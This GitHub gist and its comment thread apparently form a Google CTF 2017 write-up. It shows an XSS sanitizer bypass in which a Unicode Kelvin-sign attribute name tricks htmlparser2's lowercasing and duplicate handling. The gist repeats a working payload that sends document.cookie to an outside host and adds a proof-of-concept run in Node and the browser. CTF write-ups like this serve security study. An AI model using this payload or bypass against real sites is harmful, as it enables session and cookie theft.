Last active
May 21, 2018 10:24
-
-
Save buglloc/929bf2cb24af1cc05a6a664a71f8031f to your computer and use it in GitHub Desktop.
Geokitties v2 (#GoogleCTF 2017)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a> |
You mean replacing the "k" in onclick with K will pass the regex validation and will work on the browser?
@the-st0rm. Nope..
What we known about a html attributes:
- Attribute names are case insensitive
- Duplicate attribute are rejected (used first value)
E.g. for html code <a onclick="" oNclick="some">
browser will create the element a
with attribute onclick=""
.
Therefore htmlparser2
uses String.prototype.toLowerCase
for attribute names and reject duplicates:
Parser.prototype.onattribend = function(){
if(this._cbs.onattribute) this._cbs.onattribute(this._attribname, this._attribvalue);
if(
this._attribs &&
!Object.prototype.hasOwnProperty.call(this._attribs, this._attribname)
){
this._attribs[this._attribname] = this._attribvalue;
}
this._attribname = "";
this._attribvalue = "";
};
Now let's look into the validation function:
// blog.js
function validate(node) {
[...]
for (var name in node.attribs) {
var value = node.attribs[name];
if (/^on.+/.test(name) && value !== '')
throw 'Invalid event';
if (name == 'href' && /^(https?:)/.test(value) === false)
throw 'Invalid link';
}
[...]
}
As you can see, it allows an empty html events. So, all we need is to create duplicate html event for htmlparser2
but unique for browser.
This could be done with \u212A
, because after toLowerCase
it transforms to \u006B
:
> '\u212A'.toLowerCase().charCodeAt(0)
107
PoC:
htmlparser2
const htmlparser = require('htmlparser2');
const handler = new htmlparser.DomHandler(function (error, dom) {
for (var i in dom)
console.log(dom[i]);
});
const parser = new htmlparser.Parser(handler);
parser.write(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`);
parser.end();
{ type: 'tag',
name: 'a',
attribs: { onclick: '', href: 'https://ya.ru' },
children:
[ { data: 'asd',
type: 'text',
next: null,
prev: null,
parent: [Circular] } ],
next: null,
prev: null,
parent: null }
browser (Chromium 59):
const parser = new DOMParser();
const doc = parser.parseFromString(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`, 'text/html');
console.dir(doc.querySelector('a').outerHTML);
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>
Make sense 👍
Thanks
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You mean replacing the "k" in
onclick
withK
will pass the regex validation and will work on the browser?Also what was the plan to do that automatically? did you fuzz it? if yes how did you verify the result of the fuzzing?